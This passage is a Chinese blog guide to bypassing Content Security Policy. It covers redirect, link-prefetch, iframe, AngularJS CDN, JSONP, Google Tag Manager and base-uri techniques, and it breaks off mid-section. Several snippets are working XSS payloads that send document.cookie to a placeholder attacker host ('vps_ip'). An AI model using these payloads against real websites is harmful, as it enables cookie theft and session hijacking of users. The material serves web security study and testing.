我的CSP绕过思路及总结
字数 1292 2025-08-26 22:11:45
CSP绕过技术全面指南
1. CSP简介
内容安全策略(CSP)是一种web应用技术,用于帮助缓解大部分类型的内容注入攻击,包括XSS攻击和数据注入等。CSP是一种白名单策略,当有从非白名单允许的JS脚本出现在页面中,浏览器会阻止脚本的执行。
2. CSP绕过技术详解
2.1 location.href跳转绕过
原理:CSP不影响location.href跳转,因为大部分网站的跳转功能都由前端实现。
利用方法:
location.href = "vps_ip:xxxx?"+document.cookie
利用条件:
- 可以执行任意JS脚本
- 由于CSP无法数据带外
2.2 link标签绕过
原理:某些老版本浏览器中,link标签未被CSP约束。
利用方法:
var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);
浏览器差异:
- Firefox:
<link rel="dns-prefetch" href="//${cookie}.vps_ip"> - Chrome:
<link rel="prefetch" href="//vps_ip?${cookie}">
2.3 Iframe绕过
原理:同源站点内,无CSP保护的B页面可通过iframe操作有CSP保护的A页面的DOM。
利用方法:
<!-- B页面 -->
<script>
var iframe = document.createElement('iframe');
iframe.src="A页面";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>
利用条件:
- 同源站点内存在两个页面
- 一个页面有CSP保护,另一个无保护且存在XSS漏洞
- 需要的数据在有CSP保护的页面中
2.4 CDN绕过
原理:利用CSP白名单中的低版本JS框架漏洞。
案例:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js></script>
<div ng-app>
{{constructor.constructor('alert(document.cookie)')()}}
</div>
可利用的库:
- Jquery-mobile:
<div data-role=popup id='<script>alert(1)</script>'></div> - AMP库:
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>
2.5 可控静态资源绕过
原理:利用CSP白名单中站点提供的可控静态资源功能。
案例:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>
2.6 JSONP绕过
原理:利用CSP白名单中站点提供的可控JSONP功能。
案例:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src https://www.google.com">
<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>
2.7 Base-uri绕过
原理:当script-src采用nonce且未设置base-uri时,可通过
利用方法:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//vps_ip/">
<script nonce='test' src="2.js"></script>
利用条件:
- script-src只使用nonce
- 未额外设置base-uri
- 页面引用存在相对路径的